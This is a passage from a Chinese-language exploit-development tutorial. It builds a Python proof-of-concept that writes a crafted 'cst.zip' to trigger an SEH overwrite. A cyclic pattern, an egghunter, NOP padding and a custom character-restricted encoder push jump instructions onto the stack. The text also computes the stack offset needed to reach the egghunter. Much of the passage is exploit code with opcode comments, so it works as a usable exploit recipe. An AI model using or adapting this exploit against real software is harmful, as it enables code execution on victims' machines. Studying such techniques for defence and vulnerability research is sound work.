payload+="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev" payload+=".txt" print"[+]Length="+str(len(payload)) exploit=header_1+payload+header_2+payload+header_3 mefile=open('cst.zip','w'); mefile.write(exploit); mefile.close() print"[+]Exploitcomplete!"

执行之后：

太棒了，我们已经成功地利用有效字符编写出了想要的代码！现在只需跳回到该区域来执行就好了。我们还需要将我们写入的临时0xDEADBEEF地址更改为实际的偏移量，前提是我们知道它是什么...但现在为时过早。

跳转

不幸的是，我们没有太多的空间可用于跳转：在我们的编码器代码之后只有5个字节，编码器代码之前是4个字节。所以，我们需要找到相应的指令，让我们跳转到刚写的代码。

事实证明，由于字符限制，实际上我们无法做太多的事情。任何短的向后跳转指令都包含无效的字符，无法跳转至恰当的地方。所以，应该考虑是否重用之前用过的跳转。

下面来看看我们目前拥有的有效载荷。

我们需要发挥创造性。让我们重用SEH中的JNO跳转，以便再次回到我们控制的内存区域。我们可以在当前编码器有效载荷的开头部分添加一些NOP，然后通过自定义编码器用其他跳转指令将其覆盖，以将我们跳转到刚编写的代码之前。

哎，这样行得通吗？让我解释一下。

我们需要使用的跳转指令本来可以是简单的JMP $ -16（\ xeb \ xee），不幸的是它包含了无效的字符，因此不适用于我们...。但是，任何带有有效的字符的跳转指令都会让我们离的太远。

然而！我们可以使用自定义的编码器来处理它们，就像我们将egghunter的地址放置到EAX一样，只需要调整偏移量并修改代码即可。

首先，添加我们的JMP指令。然后，修改我们的原始堆栈，使SEH跳转能够准确到达我们的初始位置。最后，在编码器的开头部分添加一些NOP，它们之后将被所覆盖。下面我们具体介绍其工作原理。

这里，让我们先从自定义的编码器前面的NOP开始。由于我们要求使用有效的字符集，因此可以使用\ x41 \ x41（INC ECX）作为NOP。

接下来，进行堆栈调整。从目前的状态来看，我们需要进一步偏移6个字节，以便写入到要覆盖的区域。为此，我们可以进行相应的调整。

最后，我们需要用编码器写入JNZ $ -16（\ x75 \ xee）指令。让我们用新的指令来替换最后两个\ x90（记住这里使用的是little - endianness，所以我们需要反过来写入）。

最后，代码将变成这样：

#...snip... nseh_offset=292 jump_offset=92 #...snip... payload=egghunter payload+="A"*(nseh_offset-len(payload)-jump_offset)#paddingfornSEH payload+="\x41\x41"#INCECX(actsasNOPs,butusingvalidcharacterset) #Offsetthestackby0x632tostartwritingtoacontrolledareaofmemory # payload+="\x54"#pushesp; payload+="\x58"#popeax; payload+="\x05\x33\x07\x01\x01"#addeax,0x01010733 payload+="\x2d\x01\x01\x01\x01"#subeax,0x01010101 payload+="\x50"#pusheax; payload+="\x5c"#popesp; #Writeinstructionsfor:pushesp;popeax;subeax,0xDEADBEEF;jmpeax;jnz0xee # #Zero-outEAX payload+="\x25\x01\x01\x01\x01"#andeax,0x01010101 payload+="\x25\x10\x10\x10\x10"#andeax,0x10101010 #write0xee7590e0intoEAX==>>'0xee75'represents'JNZ$-16'instruction payload+="\x05\x70\x70\x74\x77"#addeax,0x77747070 payload+="\x05\x70\x20\x01\x77"#addeax,0x77012070 payload+="\x50"#pusheax; #Zero-outEAX payload+="\x25\x01\x01\x01\x01"#andeax,0x01010101 payload+="\x25\x10\x10\x10\x10"#andeax,0x10101010 #write0xffdeadbeintoEAX payload+="\x05\x77\x77\x77\x77"#addeax,0x77777777 payload+="\x05\x37\x25\x57\x77"#addeax,0x77572537 payload+="\x05\x10\x11\x10\x11"#addeax,0x11101110 payload+="\x50"#pusheax; #Zero-outEAX payload+="\x25\x01\x01\x01\x01"#andeax,0x01010101 payload+="\x25\x10\x10\x10\x10"#andeax,0x10101010 #write0xef2d5854intoEAX payload+="\x05\x43\x47\x1c\x77"#addeax,0x771c4743 payload+="\x05\x10\x10\x01\x77"#addeax,0x77011010 payload+="\x05\x01\x01\x10\x01"#addeax,0x01100101 payload+="\x50"#pusheax; payload+="A"*(nseh_offset-len(payload))#paddingfortherestoftheencoder payload+="\x71\x9b\x70\x9b"#nSEH:jno$-99;jo$-99=>'9b'willactuallybeconvertedto'a2',whichis$-92 payload+="\x33\x28\x42\x00"#SEH #...snip...

一旦执行，会发生以下情况：

崩溃被触发

POP-POP-RET指令被调用

获得JNO $ -92的跳转地址

从头开始执行自定义编码器

代码最终将到达第3步中跳转的JNO指令

再次取得JNO的跳转地址，但这次，我们登陆的第一条指令是刚刚写入的16个字节的跳转指令

获取跳转指令的跳转地址

使用自定义编码器写入要执行的指令

我们来看看到底发生了什么。

执行自定义的编码器后：

取得JMP的跳转地址

在写入指令之前登陆，准备执行

真棒，正是我们期待的！现在我们只需要弄清楚用什么值替代0xDEADBEEF就可以了！

让我们来计算一下——ESP的当前值是0x0018FB4E，而egghunter代码从0x0018FA90开始，这意味着我们需要将EAX减去0xBE，让EAX指向我们的目的地。

我们开始修改漏洞利用代码，这里不是从EAX中减去0xDEADBEEF，而是减去0xBE。 PoC应进行以下修改：

#Zero-outEAX payload+="\x25\x01\x01\x01\x01"#andeax,0x01010101 payload+="\x25\x10\x10\x10\x10"#andeax,0x10101010 #write0xff000000intoEAX payload+="\x05\x01\x01\x01\x77"#addeax,0x77010101 payload+="\x05\x01\x01\x01\x77"#addeax,0x77010101 payload+="\x05\x10\x10\x10\x22"#addeax,0x22101010 payload+="\x2d\x12\x12\x12\x11"#subeax,0x11121212 payload+="\x50"#pusheax; #Zero-outEAX payload+="\x25\x01\x01\x01\x01"#andeax,0x01010101 payload+="\x25\x10\x10\x10\x10"#andeax,0x10101010 #write0xbe2d5854intoEAX payload+="\x05\x43\x47\x1c\x67"#addeax,0x671c4743 payload+="\x05\x11\x11\x11\x57"#addeax,0x57111111 payload+="\x50"#pusheax;

让我们来看看它会把我们带到哪里去。